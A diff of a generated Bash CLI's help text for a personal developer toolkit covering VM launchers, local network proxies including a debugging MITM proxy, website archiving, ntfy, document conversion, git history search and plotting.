"$(magenta "--ram-size RAM_SIZE")" printf " The RAM size of the VM's RAM in GB\n" printf " %s\n" "Default: 4" echo - # :flag.usage printf " %s\n" "$(magenta "--cpu-cores CPU_CORES")" printf " The number of CPU cores the VM is allowed to use\n" printf " %s\n" "Default: 2" echo - # :flag.usage printf " %s\n" "$(magenta "--share-directory SHARE_DIRECTORY")" printf " The directory to share with the VM (In Windows, this is the Network#host.lan\n machine)\n" printf " %s\n" "Default: ." echo - # :flag.usage printf " %s\n" "$(magenta "--version VERSION")" printf " The version of Windows to start\n" printf " %s\n" "Allowed: 11, 11l, 11e, 10, 10l, 10e, 8e, 7e, ve, xp, 2025, 2022, 2019, 2016, 2012, 2008, 2003" printf " %s\n" "Default: 11" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -5710,7 +4903,6 @@ dtools_vm_windows_usage() { fi } -# :command.usage dtools_vm_linux_usage() { printf "dtools vm linux - Start a Linux VM that's available at http://localhost:8006 and via SSH on port 2222\n\n" @@ -5719,92 +4911,76 @@ dtools_vm_linux_usage() { printf " dtools vm linux --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--persistent-dir-prefix PERSISTENT_DIR_PREFIX")" printf " Specify the persistence directory ($HOME/.vm/linux/) to load/wipe the\n VM from.\n Defaults to the image (e.g. $HOME/.vm/linux/ubuntu)\n" printf " %s\n" "Needs: --persistent" echo - # :flag.usage printf " %s\n" "$(magenta "--persistent")" printf " Persist the VM data to disk (persists to $HOME/.vm/linux)\n" echo - # :flag.usage printf " %s\n" "$(magenta "--wipe-persistent-data")" printf " Wipe any data persisted between sessions for the given Linux version\n" echo - # :flag.usage printf " %s\n" "$(magenta "--no-gui")" printf " Do not start a VNC connection to the image\n" printf " %s\n" "Conflicts: --use-rdp" echo - # :flag.usage printf " %s\n" "$(magenta "--use-rdp")" printf " Start an RDP connection to the container once it starts (Assumes an RDP\n server runs at start in the container)\n" printf " %s\n" "Conflicts: --no-gui" echo - # :flag.usage printf " %s\n" "$(magenta "--rdp-user RDP_USER")" printf " Specify the RDP user to use when connecting to the container\n" printf " %s\n" "Default: $USER" printf " %s\n" "Needs: --use-rdp" echo - # :flag.usage printf " %s\n" "$(magenta "--rdp-password RDP_PASSWORD")" printf " Specify the RDP password to use when connecting to the container\n" printf " %s\n" "Default: admin" printf " %s\n" "Needs: --use-rdp" echo - # :flag.usage printf " %s\n" "$(magenta "--disk-size DISK_SIZE")" printf " The disk size of the VM's drive in GB\n" printf " %s\n" "Default: 128" echo - # :flag.usage printf " %s\n" "$(magenta "--ram-size RAM_SIZE")" printf " The RAM size of the VM's RAM in GB\n" printf " %s\n" "Default: 8" echo - # :flag.usage printf " %s\n" "$(magenta "--cpu-cores CPU_CORES")" printf " The number of CPU cores the VM is allowed to use\n" printf " %s\n" "Default: 4" echo - # :flag.usage printf " %s\n" "$(magenta "--share-directory SHARE_DIRECTORY")" printf " The directory to share with the VM (Access by running 'mount -t 9p -o\n trans=virtio shared /mnt/shared' in the container)\n" printf " %s\n" "Default: ." echo - # :flag.usage printf " %s\n" "$(magenta "--dist DISTRIBUTION")" printf " The Linux distribution to start\n" printf " %s\n" "Allowed: alma, alpine, arch, cachy, centos, debian, fedora, gentoo, kali, kubuntu, mint, manjaro, mx, nixos, suse, oracle, rocky, slack, tails, ubuntu, ubuntus, xubuntu" printf " %s\n" "Conflicts: --image-url" echo - # :flag.usage printf " %s\n" "$(magenta "--image-url IMAGE_URL")" printf " Boot using a custom image at the specified URL.\n Supported formats are:\n \n .img\n .raw\n .iso\n .qcow2\n .vmdk\n .vhd\n .vhdx\n .vdi\n \n It will also accept files such as .img.gz, .qcow2.xz, .iso.zip, and many\n more because it will automatically extract compressed files\n" printf " %s\n" "Conflicts: --dist" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -5812,7 +4988,6 @@ dtools_vm_linux_usage() { fi } -# :command.usage dtools_vm_mac_usage() { printf "dtools vm mac - Start a MacOS VM that's available at http://localhost:8006\n\n" @@ -5821,60 +4996,49 @@ dtools_vm_mac_usage() { printf " dtools vm mac --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--persistent-dir-prefix PERSISTENT_DIR_PREFIX")" printf " Specify the persistence directory ($HOME/.vm/mac/) to load/wipe the VM\n from.\n Defaults to the version (e.g. $HOME/.vm/mac/15)\n" printf " %s\n" "Needs: --persistent" echo - # :flag.usage printf " %s\n" "$(magenta "--persistent")" printf " Persist the VM data to disk (persists to $HOME/.vm/mac)\n" echo - # :flag.usage printf " %s\n" "$(magenta "--wipe-persistent-data")" printf " Wipe any data persisted between sessions for the given Mac version\n" echo - # :flag.usage printf " %s\n" "$(magenta "--disk-size DISK_SIZE")" printf " The disk size of the VM's drive in GB\n" printf " %s\n" "Default: 64" echo - # :flag.usage printf " %s\n" "$(magenta "--ram-size RAM_SIZE")" printf " The RAM size of the VM's RAM in GB\n" printf " %s\n" "Default: 4" echo - # :flag.usage printf " %s\n" "$(magenta "--cpu-cores CPU_CORES")" printf " The number of CPU cores the VM is allowed to use\n" printf " %s\n" "Default: 2" echo - # :flag.usage printf " %s\n" "$(magenta "--share-directory SHARE_DIRECTORY")" printf " The directory to share with the VM (Access by running 'mount -S mount_9p\n shared' in the container; Then it's available under Finder -> Go ->\n Computer)\n" printf " %s\n" "Default: ." echo - # :flag.usage printf " %s\n" "$(magenta "--version VERSION")" printf " The version of MacOS to start\n" printf " %s\n" "Allowed: 15, 14, 13, 12, 11" printf " %s\n" "Default: 13" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -5882,7 +5046,6 @@ dtools_vm_mac_usage() { fi } -# :command.usage dtools_network_usage() { printf "dtools network - Network commands\n\n" @@ -5890,7 +5053,7 @@ dtools_network_usage() { printf " dtools network COMMAND\n" printf " dtools network [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Generate a self-signed HTTPS certificate for use in testing\n" "$(green "generate-self-signed-certificate")" printf " %s Proxy HTTPS traffic\n" "$(green "https-proxy") " @@ -5902,12 +5065,10 @@ dtools_network_usage() { printf " %s Start a local API to generate Mermaid diagrams\n" "$(green "mermaid-api") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -5915,7 +5076,6 @@ dtools_network_usage() { fi } -# :command.usage dtools_network_generate_self_signed_certificate_usage() { printf "dtools network generate-self-signed-certificate - Generate a self-signed HTTPS certificate for use in testing\n\n" @@ -5924,40 +5084,32 @@ dtools_network_generate_self_signed_certificate_usage() { printf " dtools network generate-self-signed-certificate --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--output OUTPUT (required)")" printf " The file to write the certificate to\n" echo - # :flag.usage printf " %s\n" "$(magenta "--key-output KEY_OUTPUT (required)")" printf " The output file to write the key to\n" echo - # :flag.usage printf " %s\n" "$(magenta "--hostname HOSTNAME")" printf " The hostname that the certificate should be created to work with\n" printf " %s\n" "Default: localhost" echo - # :flag.usage printf " %s\n" "$(magenta "--pfx-output PFX_OUTPUT")" printf " Output a pfx file as well\n" printf " %s\n" "Default: false" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools network generate-self-signed-certificate --output /etc/dtools/test.csr\n --key-output /etc/dtools/test.key\n" printf " # Both in one file\n dtools network generate-self-signed-certificate --output /etc/dtools/test.pem\n --key-output /etc/dtools/test.pem\n" @@ -5967,7 +5119,6 @@ dtools_network_generate_self_signed_certificate_usage() { fi } -# :command.usage dtools_network_https_proxy_usage() { printf "dtools network https-proxy - Proxy HTTPS traffic\n\n" @@ -5976,36 +5127,29 @@ dtools_network_https_proxy_usage() { printf " dtools network https-proxy --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--https-port HTTPS_PORT")" printf " The https port to proxy\n" printf " %s\n" "Default: 443" echo - # :flag.usage printf " %s\n" "$(magenta "--proxy-target-host PROXY_TARGET_HOST")" printf " The target host to redirect all https traffic to\n" printf " %s\n" "Default: localhost" echo - # :flag.usage printf " %s\n" "$(magenta "--proxy-target-port PROXY_TARGET_PORT (required)")" printf " The port on the target host to send all https traffic to\n" echo - # :flag.usage printf " %s\n" "$(magenta "--ssl-certificate SSL_CERTIFICATE")" printf " The SSL certificate to use\n" printf " %s\n" "Default: /etc/devtools/dtools.pem" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -6013,7 +5157,6 @@ dtools_network_https_proxy_usage() { fi } -# :command.usage dtools_network_tcp_proxy_usage() { printf "dtools network tcp-proxy - Proxy all TCP traffic with simpleproxy (Debian-based systems only)\n\n" @@ -6022,40 +5165,32 @@ dtools_network_tcp_proxy_usage() { printf " dtools network tcp-proxy --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--tcp-host TCP_HOST")" printf " The host to listen on\n" printf " %s\n" "Default: 0.0.0.0" echo - # :flag.usage printf " %s\n" "$(magenta "--tcp-port TCP_PORT (required)")" printf " The TCP port to listen on\n" echo - # :flag.usage printf " %s\n" "$(magenta "--proxy-target-host PROXY_TARGET_HOST")" printf " The target host to redirect all TCP traffic to\n" printf " %s\n" "Default: localhost" echo - # :flag.usage printf " %s\n" "$(magenta "--proxy-target-port PROXY_TARGET_PORT (required)")" printf " The target port on the target host to redirect all TCP traffic to\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools network tcp-proxy --tcp-host 192.168.0.253 --tcp-port 5432\n --proxy-target-host localhost --proxy-target-port 5433\n" echo @@ -6063,7 +5198,6 @@ dtools_network_tcp_proxy_usage() { fi } -# :command.usage dtools_network_proxy_with_nginx_usage() { if [[ -n $long_usage ]]; then printf "dtools network proxy-with-nginx\n\n" @@ -6077,36 +5211,29 @@ dtools_network_proxy_with_nginx_usage() { printf " dtools network proxy-with-nginx --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--tcp-port TCP_PORT")" printf " The TCP port to listen on\n" printf " %s\n" "Default: 8080" echo - # :flag.usage printf " %s\n" "$(magenta "--proxy-target-host PROXY_TARGET_HOST (required)")" printf " The target host to redirect all traffic to\n" echo - # :flag.usage printf " %s\n" "$(magenta "--proxy-target-protocol PROXY_TARGET_PROTOCOL")" printf " The protocol on the host that all traffic is redirected to\n" printf " %s\n" "Allowed: http, https" printf " %s\n" "Default: http" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " # Query with curl 'http://localhost:8081/api/Token', for example\n dtools network proxy-with-nginx --tcp-port 8081 --proxy-target-host\n some.api.com --proxy-target-protocol https\n" echo @@ -6114,7 +5241,6 @@ dtools_network_proxy_with_nginx_usage() { fi } -# :command.usage dtools_network_mitm_proxy_usage() { printf "dtools network mitm-proxy - Start a Man-in-the-Middle (MITM) proxy to intercept and log all requests\n\n" @@ -6123,37 +5249,29 @@ dtools_network_mitm_proxy_usage() { printf " dtools network mitm-proxy --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--port PORT")" printf " The local port to run the proxy on\n" printf " %s\n" "Default: 8080" echo - # :flag.usage printf " %s\n" "$(magenta "--script-file SCRIPT_FILE")" printf " The script file to run on all intercepted requests (defaults to simply\n logging out method, url, headers, and body)\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "DOMAIN")" printf " The domain to intercept requests for (regex)\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " # Run the proxy on port 8080 for all *google*.com domains\n dtools network mitm-proxy .*google.*\.com\n # Run a script/service/etc. that will be proxied by MITM proxy\n export HTTP_PROXY=http://localhost:8080\n export HTTPS_PROXY=https://localhost:8080\n export REQUESTS_CA_BUNDLE=~/.mitmproxy/mitmproxy-ca-cert.pem\n python3 vertex_model_deployment_script.py\n" echo @@ -6161,7 +5279,6 @@ dtools_network_mitm_proxy_usage() { fi } -# :command.usage dtools_network_archive_website_usage() { printf "dtools network archive-website - Download an archive an entire website for offline viewing via Kiwix and .zim formats using OpenZim's zimit\n\n" @@ -6170,72 +5287,58 @@ dtools_network_archive_website_usage() { printf " dtools network archive-website --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--shm-size SHM_SIZE")" printf " The size of /dev/shm to allow the container to use\n" printf " %s\n" "Default: 2gb" echo - # :flag.usage printf " %s\n" "$(magenta "--url URL (required)")" printf " The URL to be crawled\n" echo - # :flag.usage printf " %s\n" "$(magenta "--name NAME (required)")" printf " The name of the ZIM file\n" echo - # :flag.usage printf " %s\n" "$(magenta "--output OUTPUT_DIRECTORY")" printf "\n" printf " %s\n" "Default: /output" echo - # :flag.usage printf " %s\n" "$(magenta "--limit LIMIT")" printf " Limit capture to at most URLs\n" echo - # :flag.usage printf " %s\n" "$(magenta "--behaviors BEHAVIORS")" printf " Control which browsertrix behaviors are ran (defaults to\n 'autoplay,autofetch,siteSpecific', adding 'autoscroll' to the list is\n possible to automatically scroll the pages and fetch resources which are\n lazy loaded)\n" printf " %s\n" "Default: autoplay,autofetch,siteSpecific" echo - # :flag.usage printf " %s\n" "$(magenta "--exclude EXCLUDE_REGEX")" printf " Skip URLs that mmatch the regex from crawling. Can be specified multiple\n times. An example is '--exclude=|(\?q=|signup-landing\?|\?cid=)\"', where\n URLs that contain either '?q=' or 'signup-landing?' or '?cid=' will be\n excluded\n" echo - # :flag.usage printf " %s\n" "$(magenta "--workers WORKERS")" printf " Number of crawl workers to run in parallel\n" echo - # :flag.usage printf " %s\n" "$(magenta "--wait-until WAIT_UNTIL")" printf " Puppeteer setting for how long to wait for page to load. See\n https://github.com/puppeteer/puppeteer/blob/main/docs/api.md#pagegotourl-options\n The default is 'load', but for static sites, '--wait-until domcontentloaded'\n may be used to speed up the crawl (to avoid waiting for ads to load for\n example).\n" printf " %s\n" "Default: load" echo - # :flag.usage printf " %s\n" "$(magenta "--keep")" printf " If set, keep the WARC files in a temp directory inside the output directory\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools network archive-website --url URL --name myzimfile\n" printf " # Exclude all video files\n dtools network archive-website --url URL --name myzimfile --exclude\n \".*\.(mp4|webm|ogg|mov|avi|mkv)(\?.*)?$\"\n" @@ -6246,7 +5349,6 @@ dtools_network_archive_website_usage() { fi } -# :command.usage dtools_network_warc_2_zim_usage() { printf "dtools network warc-2-zim - Convert a WARC to ZIM format for easier offline viewing using OpenZim's zimit\n\n" @@ -6255,72 +5357,58 @@ dtools_network_warc_2_zim_usage() { printf " dtools network warc-2-zim --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--shm-size SHM_SIZE")" printf " The size of /dev/shm to allow the container to use\n" printf " %s\n" "Default: 2gb" echo - # :flag.usage printf " %s\n" "$(magenta "--url URL (required)")" printf " The URL to be crawled\n" echo - # :flag.usage printf " %s\n" "$(magenta "--name NAME (required)")" printf " The name of the ZIM file\n" echo - # :flag.usage printf " %s\n" "$(magenta "--output OUTPUT_DIRECTORY")" printf "\n" printf " %s\n" "Default: /output" echo - # :flag.usage printf " %s\n" "$(magenta "--limit LIMIT")" printf " Limit capture to at most URLs\n" echo - # :flag.usage printf " %s\n" "$(magenta "--behaviors BEHAVIORS")" printf " Control which browsertrix behaviors are ran (defaults to\n 'autoplay,autofetch,siteSpecific', adding 'autoscroll' to the list is\n possible to automatically scroll the pages and fetch resources which are\n lazy loaded)\n" printf " %s\n" "Default: autoplay,autofetch,siteSpecific" echo - # :flag.usage printf " %s\n" "$(magenta "--exclude EXCLUDE_REGEX")" printf " Skip URLs that match the regex from crawling. Can be specified multiple\n times. An example is '--exclude=|(\?q=|signup-landing\?|\?cid=)\"', where\n URLs that contain either '?q=' or 'signup-landing?' or '?cid=' will be\n excluded\n" echo - # :flag.usage printf " %s\n" "$(magenta "--workers WORKERS")" printf " Number of crawl workers to run in parallel\n" echo - # :flag.usage printf " %s\n" "$(magenta "--wait-until WAIT_UNTIL")" printf " Puppeteer setting for how long to wait for page to load. See\n https://github.com/puppeteer/puppeteer/blob/main/docs/api.md#pagegotourl-options\n The default is 'load', but for static sites, '--wait-until domcontentloaded'\n may be used to speed up the crawl (to avoid waiting for ads to load for\n example).\n" printf " %s\n" "Default: load" echo - # :flag.usage printf " %s\n" "$(magenta "--keep")" printf " If set, keep the WARC files in a temp directory inside the output directory\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools network warc-2-zim --url URL --name myzimfile\n" printf " # Exclude all video files\n dtools network warc-2-zim --url URL --name myzimfile --exclude\n \".*\.(mp4|webm|ogg|mov|avi|mkv)(\?.*)?$\"\n" @@ -6329,7 +5417,6 @@ dtools_network_warc_2_zim_usage() { fi } -# :command.usage dtools_network_mermaid_api_usage() { printf "dtools network mermaid-api - Start a local API to generate Mermaid diagrams\n\n" @@ -6338,26 +5425,21 @@ dtools_network_mermaid_api_usage() { printf " dtools network mermaid-api --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "PORT")" printf " The port to run the API on\n" printf " %s\n" "Default: 8087" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " curl --location --request POST 'http://localhost:8087/generate' \\n --header 'Content-Type: text/plain' \\n --data-raw 'graph LR\n \n A-->B\n B-->C\n C-->D\n C-->F\n '\n" echo @@ -6365,7 +5447,6 @@ dtools_network_mermaid_api_usage() { fi } -# :command.usage dtools_ntfy_usage() { printf "dtools ntfy - ntfy commands for easy reference\n\n" @@ -6373,18 +5454,16 @@ dtools_ntfy_usage() { printf " dtools ntfy COMMAND\n" printf " dtools ntfy [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Subscribe to the specified ntfy topic and optionally play a sound whenever a message is received.\n" "$(green "subscribe")" printf " %s Open the ntfy message publishing reference page in your default browser\n" "$(green "reference")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -6392,7 +5471,6 @@ dtools_ntfy_usage() { fi } -# :command.usage dtools_ntfy_subscribe_usage() { printf "dtools ntfy subscribe - Subscribe to the specified ntfy topic and optionally play a sound whenever a message is received.\n\n" @@ -6401,32 +5479,25 @@ dtools_ntfy_subscribe_usage() { printf " dtools ntfy subscribe --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--sound, -s SOUND")" printf " The mp3 sound file to play when a message is received\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "TOPIC")" printf " The name of the ntfy topic to subscribe to\n" printf " %s\n" "Default: alerts" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools ntfy subscribe vpn --sound ~/Music/notification-sounds/notify.mp3\n" printf " ntfy sub topic 'echo \"$raw\" && mpg321 -q\n ~/Music/notification-sounds/notify.mp3'\n" @@ -6435,7 +5506,6 @@ dtools_ntfy_subscribe_usage() { fi } -# :command.usage dtools_ntfy_reference_usage() { printf "dtools ntfy reference - Open the ntfy message publishing reference page in your default browser\n\n" @@ -6444,12 +5514,10 @@ dtools_ntfy_reference_usage() { printf " dtools ntfy reference --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -6457,7 +5525,6 @@ dtools_ntfy_reference_usage() { fi } -# :command.usage dtools_document_usage() { printf "dtools document - Commands for manipulating documents\n\n" @@ -6465,19 +5532,17 @@ dtools_document_usage() { printf " dtools document COMMAND\n" printf " dtools document [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Convert any given document into any other supported format using pandoc\n" "$(green "convert") " printf " %s Merge a list of PDFs into a single PDF file\n" "$(green "merge-pdf") " printf " %s Decrypt a PDF so it can be manipulated via CLI tools\n" "$(green "decrypt-pdf")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -6485,7 +5550,6 @@ dtools_document_usage() { fi } -# :command.usage dtools_document_convert_usage() { printf "dtools document convert - Convert any given document into any other supported format using pandoc\n\n" @@ -6494,38 +5558,30 @@ dtools_document_convert_usage() { printf " dtools document convert --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--source-format SOURCE_FORMAT (required)")" printf " The format of the source file\n" printf " %s\n" "Allowed: bibtex, biblatex, bits, commonmark, commonmark_x, creole, csljson, csv, tsv, djot, docbook, docx, dokuwiki, endnotexml, epub, fb2, gfm, haddock, html, ipynb, jats, jira, json, latex, markdown, markdown_mmd, markdown_phpextra, markdown_strict, mediawiki, man, mdoc, muse, native, odt, opml, org, pod, ris, rtf, rst, t2t, textile, tikiwiki, twiki, typst, vimwiki" echo - # :flag.usage printf " %s\n" "$(magenta "--target-format TARGET_FORMAT (required)")" printf " The target format of the output file\n" printf " %s\n" "Allowed: ansi, asciidoc, asciidoc_legacy, asciidoctor, beamer, bibtex, biblatex, chunkedhtml, commonmark, commonmark_x, context, csljson, djot, docbook, docbook5, docx, dokuwiki, epub, epub2, fb2, gfm, haddock, html, html4, icml, ipynb, jats_archiving, jats_articleauthoring, jats_publishing, jats, jira, json, latex, man, markdown, markdown_mmd, markdown_phpextra, markdown_strict, markua, mediawiki, ms, muse, native, odt, opml, opendocument, org, pdf, plain, pptx, rst, rtf, texinfo, textile, slideous, slidy, dzslides, revealjs, s5, tei, typst, xwiki, zimwiki" echo - # :flag.usage printf " %s\n" "$(magenta "--output-file OUTPUT_FILE")" printf " The output file with the extension (defaults to\n /.$)\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "FILE")" printf " The file to convert\n" echo @@ -6533,7 +5589,6 @@ dtools_document_convert_usage() { fi } -# :command.usage dtools_document_merge_pdf_usage() { printf "dtools document merge-pdf - Merge a list of PDFs into a single PDF file\n\n" @@ -6542,26 +5597,20 @@ dtools_document_merge_pdf_usage() { printf " dtools document merge-pdf --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--input-file, -i INPUT_FILE (repeatable)")" printf " An input file to merge into a single PDF\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "OUTPUT-FILE")" printf " The name of the output PDF file name\n" echo @@ -6569,7 +5618,6 @@ dtools_document_merge_pdf_usage() { fi } -# :command.usage dtools_document_decrypt_pdf_usage() { printf "dtools document decrypt-pdf - Decrypt a PDF so it can be manipulated via CLI tools\n\n" @@ -6578,26 +5626,20 @@ dtools_document_decrypt_pdf_usage() { printf " dtools document decrypt-pdf --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--output-file OUTPUT_FILE (required)")" printf " The name of the output decrypted PDF file\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "INPUT-FILE")" printf " The PDF you wish to decrypt\n" echo @@ -6605,7 +5647,6 @@ dtools_document_decrypt_pdf_usage() { fi } -# :command.usage dtools_git_usage() { printf "dtools git - Git commands\n\n" @@ -6613,17 +5654,15 @@ dtools_git_usage() { printf " dtools git COMMAND\n" printf " dtools git [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Search all previous tracked files for a given string to see all changes involving the specified string\n" "$(green "search-history")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -6631,7 +5670,6 @@ dtools_git_usage() { fi } -# :command.usage dtools_git_search_history_usage() { printf "dtools git search-history - Search all previous tracked files for a given string to see all changes involving the specified string\n\n" @@ -6640,25 +5678,20 @@ dtools_git_search_history_usage() { printf " dtools git search-history --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "SEARCH-STRING")" printf " The string to search all git history for\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools git search-history 'energy_required'\n" echo @@ -6666,7 +5699,6 @@ dtools_git_search_history_usage() { fi } -# :command.usage dtools_plot_usage() { printf "dtools plot - Plot data piped into this command (one-off)\n\n" @@ -6675,52 +5707,42 @@ dtools_plot_usage() { printf " dtools plot --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--file, -f FILE")" printf " File with data to plot\n" printf " %s\n" "Default: -" echo - # :flag.usage printf " %s\n" "$(magenta "--type, -t TYPE")" printf " The type of plot to create\n" printf " %s\n" "Allowed: line, bar" printf " %s\n" "Default: line" echo - # :flag.usage printf " %s\n" "$(magenta "--stack-vertically")" printf " When plotting multiple graphs, stack them vertically instead of combining\n them into one graph (only for bar graphs)\n" echo - # :flag.usage printf " %s\n" "$(magenta "--multiplot")" printf " Plot multiple graphs at once\n" echo - # :flag.usage printf " %s\n" "$(magenta "--gui")" printf " Open the plot in a GUI window\n" echo - # :flag.usage printf " %s\n" "$(magenta "--loki")" printf " Use Loki to generate the plot command instead of using the templated command\n" printf " %s\n" "Conflicts: --file, --type, --stack-vertically, --multiplot, --gui" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " seq 0 10 | dtools plot\n" printf " seq 0 10 > test_data && dtools plot --file test_data\n" @@ -6729,7 +5751,6 @@ dtools_plot_usage() { fi } -# :command.usage dtools_real_time_plot_usage() { printf "dtools real-time-plot - Continuously plot data piped into this command (like following a log tail)\n\n" @@ -6738,17 +5759,14 @@ dtools_real_time_plot_usage() { printf " dtools real-time-plot --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold 